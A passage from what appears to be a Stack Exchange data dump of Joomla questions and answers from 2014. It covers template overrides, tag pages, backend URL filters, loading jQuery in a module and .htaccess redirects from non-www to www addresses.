leading zeros&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;M&lt;/strong&gt;     A short textual representation of a month, three letters&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;m&lt;/strong&gt;     Numeric representation of a month, with leading zeros&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;F&lt;/strong&gt;     A full textual representation of a month, such as January or March&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Y&lt;/strong&gt;     A full numeric representation of a year, 4 digits&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;H&lt;/strong&gt;     24-hour format of an hour with leading zeros&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;i&lt;/strong&gt;     Minutes with leading zeros&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-17T11:31:47.883" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3641" PostTypeId="2" ParentId="3638" CreationDate="2014-07-17T13:55:14.360" Score="0" Body="&lt;p&gt;Ouch... thats a bit of a pickle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you seem to have embedded the forms as part of the profile in your current system, I cant see how you can use multiple submissions against one profile without a hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There MAY be a CB plugin you can use but having spent 5 mins looking, I cant see any that will be fit for purpose&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly, save yourself some time now and go for a proper form component called Breezing forms (free trial available) which is so simple to create new forms its obscene! It also keeps proper, exportable records in the backend, allows scripting, paging, custom reports and emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yeah, it may mean some leg work now, but once you get your head around breezing forms drag and drop functionality, you will be creating multi-paged forms in no time at all with full verification and responsive layouts (its bases itself on bootstrap).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.crosstec.de for the component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the not so good news in this answer, but you wont be the first person I have seen use Community Builder for a non standard function and suffer for it a year or so later&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T13:55:14.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3642" PostTypeId="2" ParentId="3622" CreationDate="2014-07-17T14:20:28.783" Score="1" Body="&lt;p&gt;This wraps a bunch of lists in an article for modals&#xA;    &#xA;&#xA;&lt;pre&gt;&lt;code&gt;// find what I am looking for&#xA;if (preg_match_all(&quot;'&amp;lt;h4&amp;gt;(.*?)&amp;lt;/h4&amp;gt;\n?&amp;lt;dl id=\&quot;(.*?)\&quot;&amp;gt;(.*?)&amp;lt;/dl&amp;gt;' si&quot;, $this-&amp;gt;item-&amp;gt;introtext, $matches)) :&#xA;&#xA;$lists = array();&#xA;&#xA;// adjust array so I know what I am working with a better&#xA;for($i = 0; $i &amp;lt; count($matches[0]) ; $i++)&#xA;{&#xA;    // preg match all creates an array for each item wrapped in parens after full match&#xA;    $lists[$i] = new stdClass();&#xA;    $lists[$i]-&amp;gt;name = $matches[1][$i];&#xA;    $lists[$i]-&amp;gt;id = $matches[2][$i];&#xA;    $lists[$i]-&amp;gt;data = $matches[3][$i];&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;&amp;lt;?php foreach($lists as $list) : ?&amp;gt;&#xA;&#xA;    &amp;lt;a class=&quot;btn btn-large btn-block&quot; href=&quot;#&amp;lt;?php echo $list-&amp;gt;id; ?&amp;gt;&quot; data-toggle=&quot;modal&quot;&amp;gt;&amp;lt;?php echo $list-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($lists as $list) : ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;&amp;lt;?php echo $list-&amp;gt;id; ?&amp;gt;&quot; class=&quot;modal hide fade&quot; tabindex=&quot;-1&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;modal-header&quot;&amp;gt;&amp;lt;button class=&quot;close&quot; type=&quot;button&quot; data-dismiss=&quot;modal&quot;&amp;gt;×&amp;lt;/button&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;category_title; ?&amp;gt; - &amp;lt;?php echo $list-&amp;gt;name; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;modal-body&quot;&amp;gt;&#xA;            &amp;lt;dl&amp;gt;&#xA;                &amp;lt;?php echo  $list-&amp;gt;data; ?&amp;gt;&#xA;            &amp;lt;/dl&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;modal-footer&quot;&amp;gt;&amp;lt;button class=&quot;btn&quot; data-dismiss=&quot;modal&quot;&amp;gt;Close&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php   endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;?php   endif; // end here ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2014-07-17T14:53:06.063" LastActivityDate="2014-07-17T14:53:06.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostTypeId="2" ParentId="2441" CreationDate="2014-07-17T14:40:48.760" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Create a new menu called HIDDEN (i.e wont actually be displayed on the site&lt;/li&gt;&#xA;&lt;li&gt;Create a menu item in there to display all the category parents in either list or blog layout. Doesn't matter, just so long as the articles 'tagged' are in a category covered by a menu item. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you just have ONE root category for all items, the one item should be sufficient. Make sure all articles belong to a category in this menu (either directly or as a child)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now find that when you click an item from the TAG list, it will use the menu itemid of the menu item that contains the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, if joomla cannot find a menu item that references the article in someway either directly or via the category, it will just use the index page by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense, and SHOULD solve your problem. This doesn't crop up often as people invariably have somewhere on their site a menu item of blog / display category type.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T14:40:48.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3644" PostTypeId="1" CreationDate="2014-07-17T14:52:33.827" Score="2" ViewCount="798" Body="&lt;p&gt;I need to print my &quot;article title&quot; in Joomla intro text article content. &#xA;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$option = JRequest::getCmd('option');&#xA;$view = JRequest::getCmd('view');&#xA;if ($option==&quot;com_content&quot; &amp;amp;&amp;amp; $view==&quot;article&quot;) {&#xA;    $ids = explode(':',JRequest::getString('id'));&#xA;    $article_id = $ids[0];&#xA;    $article =&amp;amp; JTable::getInstance(&quot;content&quot;);&#xA;    $article-&amp;gt;load($article_id);&#xA;    echo $article-&amp;gt;get(&quot;title&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code work fine after the &quot;read more&quot; button but before it does not work... Somebody can help me? I need to print the title in the intro text.&lt;/p&gt;&#xA;" OwnerUserId="1660" LastEditorUserId="159" LastEditDate="2014-07-17T20:39:47.187" LastActivityDate="2014-07-18T13:45:22.707" Title="&quot;echo&quot; title article before read more" Tags="|cms|articles|fix-my-code|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3645" PostTypeId="2" ParentId="3637" CreationDate="2014-07-17T15:20:04.747" Score="1" Body="&lt;p&gt;This was actually an issue with the final version of Joomla 2.5, and they never fixed it and it is still in Joomla 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like no-one bothered to raise the issue with Joomla 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the tracker&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/%3Faction%3DTrackerItemEdit%26tracker_item_id%3D28918_/?action=TrackerItemEdit&amp;amp;tracker_item_id=30147&amp;amp;start=150&quot; rel=&quot;nofollow&quot;&gt;http://joomlacode.org/gf/project/joomla/tracker/%3Faction%3DTrackerItemEdit%26tracker_item_id%3D28918_/?action=TrackerItemEdit&amp;amp;tracker_item_id=30147&amp;amp;start=150&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to prevent the http:// being added automatically is to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download the file {site root}/administrator/components/mod_banners/models/forms/banner.xml&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find the line (approx 69)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and remove the filter=&quot;url&quot; and replace with &quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will then allow you to put anything in that box. I found that by adding the full internal link of the site i.e&lt;/p&gt;&#xA;&#xA;&lt;p&gt;index.php&amp;amp;option=com_content etc etc it worked fine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However due to embedded banner code I found that SEF names didnt work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will take some trial an error, but at least you will be able to put whatewver you want in the box. Bear in mind, this is not a supported change, nor is it a full solution, its is a small hack pure and simple. All your existing banners with the http:// already added will still work fine as we are only changing the validation of the form, not the way the form actions the data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REMEMBER, as you cant embed this as a template override, any updates to the joomla core may remove this amendment as banner is a core component&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T15:20:04.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3646" PostTypeId="2" ParentId="3618" CreationDate="2014-07-17T15:38:27.137" Score="2" Body="&lt;p&gt;Some nice chap has already created a module that displays articles with a certain TAG so no hacking involved, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose it would be simple (depending on your coding experience) to add a new parameter of CATEGORY to the module XML and alter the model to incorporate this new parameter as well to this and build your own custom module&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/lasinducharith/joomla-tags-selected&quot; rel=&quot;nofollow&quot; title=&quot;Joomla Tags Selected&quot;&gt;Custom module to pull in articles of a certain TAG&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T15:38:27.137" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3647" PostTypeId="2" ParentId="2365" CreationDate="2014-07-17T15:56:17.940" Score="1" Body="&lt;p&gt;When you changed the article options, you only changed the global defaults&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up your menu manager&#xA;Edit the menu ITEM&#xA;Go into (blog) layout settings and you will find the options for Intro Articles, columns etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make the change here and you should now see results. Ironically if you leave these fields blank global defaults are used, but I think by default they are NOT blank and pull in the global default settings.. hence the global configuration will not work.. which is just damned annoying!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to make any code changes for this fix at all&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T15:56:17.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3648" PostTypeId="2" ParentId="3578" CreationDate="2014-07-17T16:08:57.953" Score="1" Body="&lt;p&gt;Retina.JS should ALWAYS appear just before the final  tag so it is the last thing to load so it can action the images in the content. If the script runs before all them images, it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure where the debug area appears on rockettheme, or if it even loads when you are not debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting in the header would not have worked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To quote the retina.js website&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The JavaScript helper script automatically replaces images on your&#xA;  page with high-resolution variants (if they exist). To use it,&#xA;  download the script and include it at the bottom of your page.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Place the retina.js file on your server Include the script on your&#xA;  page &lt;/p&gt;&#xA;  &#xA;   &#xA;  &#xA;  &lt;p&gt;(put it at the bottom of your template, before your closing &#xA;  tag) That's it!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't have enough points yet to comment.. go figure.. however I hope this helps your work out an answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its been a while since I used gantry and dont have access to one to play with at present, but if I am not mistaken&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upload the retina.js to the js directory of the template&lt;/li&gt;&#xA;&lt;li&gt;Add $gantry-&gt;addScript(&quot;retina.js&quot;); to the appropriate place in the template index.php file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2014-07-17T16:08:57.953" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3649" PostTypeId="2" ParentId="3629" CreationDate="2014-07-17T17:08:51.723" Score="1" Body="&lt;p&gt;by editing the plugin live in your site and doing things like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print_r($data)&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see what the data is at any given point in the execution of the plugin. If it does nothing then you know an if statement is not returning true or the page you are on does not use the content plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for displaying the value in a page, you need something like loadposition, by refering to the file you can see how it pulls the article text and then replaces part of it with the code it needs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$regex      = '/{loadposition\s(.*?)}/i';&#xA;preg_match_all($regex, $article-&amp;gt;text, $matches, PREG_SET_ORDER);&#xA;if ($matches)&#xA;{&#xA;    foreach ($matches as $match)&#xA;    {&#xA;          $article-&amp;gt;text = preg_replace(&quot;|$match[0]|&quot;, addcslashes($output, '\\$'), $article-&amp;gt;text, 1);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This just pulls part of that plugin out, but it shows the concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for saving the value, if you just saved that value in the database, have you not just saved it? You say manually so I assume you mean in phpmyadmin or something. Refer to JDatabase in that case. &lt;a href=&quot;http://docs.joomla.org/Accessing_the_database_using_JDatabase&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Accessing_the_database_using_JDatabase&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-07-17T17:08:51.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3651" PostTypeId="1" AcceptedAnswerId="3721" CreationDate="2014-07-17T17:48:20.013" Score="1" ViewCount="1488" Body="&lt;p&gt;I am trying to remove the link on my image on the Tag page (where all the artcile with the same tag are displayed).&#xA;The image is placed with the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag in introtext, it's not an intro image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did find the correct php function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$notagintrotex =strip_tags( $this-&amp;gt;item-&amp;gt;introtext, '&amp;lt;img&amp;gt;');&#xA;echo $notagintrotex;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I can't find which file I have to override. &#xA;I have seen this &lt;a href=&quot;https://joomla.stackexchange.com/questions/814/modify-joomla-tags-result-page&quot;&gt;question&lt;/a&gt; but it seems there have been some changes since Joomla 3.3.1.  on templates/yourtemplate/html/com_tags/tag/default_items.php&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-07-22T16:50:26.363" LastActivityDate="2014-07-23T12:29:57.950" Title="Tag page: remove links on image when they are in introtext" Tags="|php|tags|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3652" PostTypeId="1" AcceptedAnswerId="3653" CreationDate="2014-07-17T21:31:28.013" Score="1" ViewCount="1826" Body="&lt;p&gt;I am trying to filter the article manager in the backend via the url like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;index.php?option=com_content&amp;amp;filter_category_id=18&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;but it doesn't seem to work. &#xA;Instead it gives me a warning:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: Attempt to assign property of non-object in&#xA;  /libraries/framework/Joomla/Registry/Registry.php on line 428&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are there any changes on how we could filter the component, or there is a bug?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-08-25T18:47:36.473" LastActivityDate="2018-01-29T10:12:47.890" Title="Filtering com_content in the backend by url in Joomla 3.3.1" Tags="|component|url|administration|com-content|article-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3653" PostTypeId="2" ParentId="3652" CreationDate="2014-07-17T23:06:49.303" Score="2" Body="&lt;p&gt;Looks like the method of doing this has now changed. I have checked this method and it works perfectly. I cant break it at all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example using published&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;index.php?option=com_content&amp;amp;view=articles&amp;amp;filter[published]=1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can also use&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;[filter]level&lt;/li&gt;&#xA;&lt;li&gt;[filter]author_id &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in fact everything that is in the search tools on the article view can be preset using the URL, just get its ID using Google dev tools!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may be obvious, but just feel like I need to complete the answer in case anyone else looks, but you You can also stack the filters, i.e&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=articles&amp;amp;filter[category_id]=2&amp;amp;filter[level]=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="1528" LastEditDate="2014-07-26T10:50:41.603" LastActivityDate="2014-07-26T10:50:41.603" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostTypeId="2" ParentId="3612" CreationDate="2014-07-17T23:54:52.893" Score="0" Body="&lt;p&gt;Contrary to what I wrote in my question, I've been using a html editor by Sven Bluege&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/edition/editors/22284&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/edition/editors/22284&lt;/a&gt; (It's essentially the same as using Editor None, but it does syntax highlighting.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By pressing F11 you can toggle fullscreen mode, this will stretch the editor across the entire screen. When I originally tried it, it didn't work. If it doesn't work for you, you need to click on the article edit box before pressing F11.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-17T23:54:52.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3655" PostTypeId="1" AcceptedAnswerId="3656" CreationDate="2014-07-18T09:09:14.650" Score="2" ViewCount="760" Body="&lt;p&gt;I want to marquee some content divs with continues scrolling. I create a module then added the jQuery from this url: &lt;a href=&quot;https://github.com/aamirafridi/jQuery&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/aamirafridi/jQuery&lt;/a&gt;. This code is working successfully in our local server but not in my Joomla site. My &lt;code&gt;default.php&lt;/code&gt; is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;defined('_JEXEC') or die('Restricted Access');&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addStyleSheet('modules/mod_marquee/css/style.css');&#xA;$document-&amp;gt;addScript('modules/mod_marquee/js/jquery-2.1.1.min.js');&#xA;$document-&amp;gt;addScript('modules/mod_marquee/js/jquery.marquee.min.js');&#xA;$document-&amp;gt;addScript('modules/mod_marquee/js/script.js');?&amp;gt;&#xA;&amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span12&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row-fluid&quot; data-duration='5000' data-gap='10' data-dupilcated='true'&amp;gt;&#xA;            &amp;lt;div class=&quot;row marquee&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;span3&quot; align=&quot;center&quot;&amp;gt;level 2 column and ger more variables&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;span3&quot; align=&quot;center&quot;&amp;gt;level 2 column&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;span3&quot; align=&quot;center&quot;&amp;gt;level 2 column&amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;span3&quot; align=&quot;center&quot;&amp;gt;level 2 column&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My script.js is: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/jpC0m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1543" LastEditorUserId="1629" LastEditDate="2014-08-07T18:43:48.923" LastActivityDate="2014-08-07T18:43:48.923" Title="Jquery marquee script not working in joomla?" Tags="|php|module|jquery|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3656" PostTypeId="2" ParentId="3655" CreationDate="2014-07-18T09:24:27.360" Score="2" Body="&lt;p&gt;First thing's first:&lt;/p&gt;&#xA;&lt;h2&gt;do not import an unofficial jQuery library forked by someone!&lt;/h2&gt;&#xA;&lt;p&gt;Now, when importing any script, you should always define the root of your site using &lt;code&gt;JUri::root()&lt;/code&gt;. You should also use Joomla's &lt;code&gt;JHtml&lt;/code&gt; method. So replace this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addStyleSheet('modules/mod_marquee/css/style.css');&#xA;$document-&amp;gt;addScript('modules/mod_marquee/js/jquery-2.1.1.min.js');&#xA;$document-&amp;gt;addScript('modules/mod_marquee/js/jquery.marquee.min.js');&#xA;$document-&amp;gt;addScript('modules/mod_marquee/js/script.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('stylesheet', JUri::root() . 'modules/mod_marquee/css/style.css');&#xA;JHtml::_('script', 'http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js');&#xA;JHtml::_('script', JUri::root() . 'modules/mod_marquee/js/jquery.marquee.min.js');&#xA;JHtml::_('script', JUri::root() . 'modules/mod_marquee/js/script.js');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm not sure which version of Joomla you're using by take a look at my &lt;a href=&quot;https://stackoverflow.com/questions/12471067/importing-jquery-into-joomla/12473933#12473933&quot;&gt;answer on another question to import jQuery properly&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As for you script, try using this at the beginning instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(window).on('load', function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;else try using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-07-18T10:29:14.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3657" PostTypeId="2" ParentId="3626" CreationDate="2014-07-18T11:52:41.293" Score="1" Body="&lt;p&gt;This appeared to be an error due to JoomFish Component. My lang was switched to the translated language (without knowing) and causing Error 500 (that I could solve by re-maping better migrated data in database, eww)... If I cleared my cookies, I would get the default language and the Error 500 would be gone ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as I migrated from jUpgrade, that copies migrated files in a subfolder of the initial Joomla install, I think I had some rules from the initial htaccess file interfering with the new one.&lt;/p&gt;&#xA;" OwnerUserId="1657" LastActivityDate="2014-07-18T11:52:41.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostTypeId="2" ParentId="3644" CreationDate="2014-07-18T13:45:22.707" Score="4" Body="&lt;p&gt;If you have selected category blog view and you need to print the article just after the intro text, try to override the following template:&#xA;/templates/yourtemplate/html/com_conetnt/category/blog_item.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And paste in this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $option = JRequest::getCmd('option');&#xA;    $view = JRequest::getCmd('view');&#xA;if ($option==&quot;com_content&quot; &amp;amp;&amp;amp; $view==&quot;category&quot;) {&#xA;    echo $this-&amp;gt;item-&amp;gt;title;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;right after :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;introtext;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="417" LastActivityDate="2014-07-18T13:45:22.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostTypeId="1" AcceptedAnswerId="3661" CreationDate="2014-07-18T15:37:16.690" Score="2" ViewCount="442" Body="&lt;p&gt;I have a working Joomla 3.2 website and would like to direct all non www traffic to my www address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to add the code below to my .htaccess file, which I presumed was working however it seems not. I implemented this code yesterday, the changes were not immediate - I checked this morning and my site was unavailable. As soon as I removed the code all was well again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? What would cause this issue?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Redirect non-www urls to www&#xA;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} !^www\.mydomain\.com&#xA;RewriteRule (.*) http://www.mydomain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-07-21T08:13:52.267" Title="Joomla 3.x and .htaccess" Tags="|.htaccess-configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3660" PostTypeId="2" ParentId="3659" CreationDate="2014-07-18T15:43:07.540" Score="1" Body="&lt;p&gt;I believe the issue is in your Rewrite Condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} ^mydomain.com$&#xA;RewriteRule (.*) http://www.mydomain.com/$1 [R=301,L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-18T15:43:07.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostTypeId="2" ParentId="3659" CreationDate="2014-07-18T17:33:14.263" Score="3" Body="&lt;p&gt;I suggest using universal code, no need to retype domain everytime you want to apply the same thing on other domains.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastEditorUserId="50" LastEditDate="2014-07-21T08:13:52.267" LastActivityDate="2014-07-21T08:13:52.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
